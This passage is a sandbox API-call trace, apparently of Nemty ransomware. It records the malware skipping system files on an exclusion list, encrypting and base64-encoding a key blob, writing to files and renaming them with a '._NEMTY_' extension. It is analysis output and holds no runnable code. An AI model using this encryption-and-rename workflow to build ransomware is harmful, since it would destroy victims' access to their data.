lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.653] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png._nemty_kgobjgd_")) returned 0 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.653] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0089.653] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2=".") returned 1 [0089.653] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="..") returned 1 [0089.653] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="...") returned 1 [0089.653] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="windows") returned -1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="$RECYCLE.BIN") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="rsa") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="NTDETECT.COM") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="ntldr") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="MSDOS.SYS") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="IO.SYS") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="boot.ini") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="boot.ini") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="AUTOEXEC.BAT") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="ntuser.dat") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="desktop.ini") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="CONFIG.SYS") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="RECYCLER") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="BOOTSECT.BAK") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="bootmgr") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="programdata") returned 1 [0089.654] lstrcmpiW (lpString1="SceneButtonInset_Alpha2.png", lpString2="appdata") returned 1 [0089.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha2.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0089.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha2.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonInset_Alpha2.png", lpUsedDefaultChar=0x0) returned 27 [0089.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0089.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha2.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0089.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha2.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonInset_Alpha2.png", lpUsedDefaultChar=0x0) returned 27 [0089.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0089.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha2.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0089.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha2.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonInset_Alpha2.png", lpUsedDefaultChar=0x0) returned 27 [0089.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha2.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0089.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0089.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha2.png", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonInset_Alpha2.png", lpUsedDefaultChar=0x0) returned 27 [0089.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0089.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0089.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0089.655] Sleep (dwMilliseconds=0x5) [0089.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe917a430, dwHighDateTime=0x1d561e7)) [0089.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe917a430, dwHighDateTime=0x1d561e7)) [0089.667] GetLastError () returned 0x5 [0089.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.667] GetLastError () returned 0x5 [0089.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0089.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.667] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0089.667] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0089.667] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0089.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0089.667] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="/kJ2svBNdfC18VQklk2ns+mPxz+onBoESauMgLlrvhe247g0ZjHVR2fZZoUUk2rW\r\nzYOfJDo0i2C0LmZ+WnaN7AX6Ox1VvddjTP2Z96a+LiQd9T/oEUfOmDKVyD9YgEHI\r\n87NJL1I/4qL91TgeIhH6ozrdVMDp6hW2UZ6Opj7WIaZ5nm4muCSPryg+Msjta6x3\r\nPwLeszBRhE6YJv0WYstzR6c4H8ZXMMzxiaJc1BIibqWtyW8Diom1CewSEcfQONJX\r\n+3CUu4RYzVjmsJiKM589+CVJTTFCkH/VVvPP6Eag0xWrgIEu+J6PSefeq5Dd/I56\r\n/6JrVEwkmfHNOHm6S65QNw==\r\n", pcchString=0x653e91c) returned 1 [0089.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0089.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0089.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0089.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0089.667] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.668] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0089.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0089.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.687] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.715] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.777] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0089.789] CloseHandle (hObject=0xffffffff) returned 0 [0089.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0089.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0089.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0089.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0089.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.790] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png._nemty_kgobjgd_")) returned 0 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0089.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.790] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 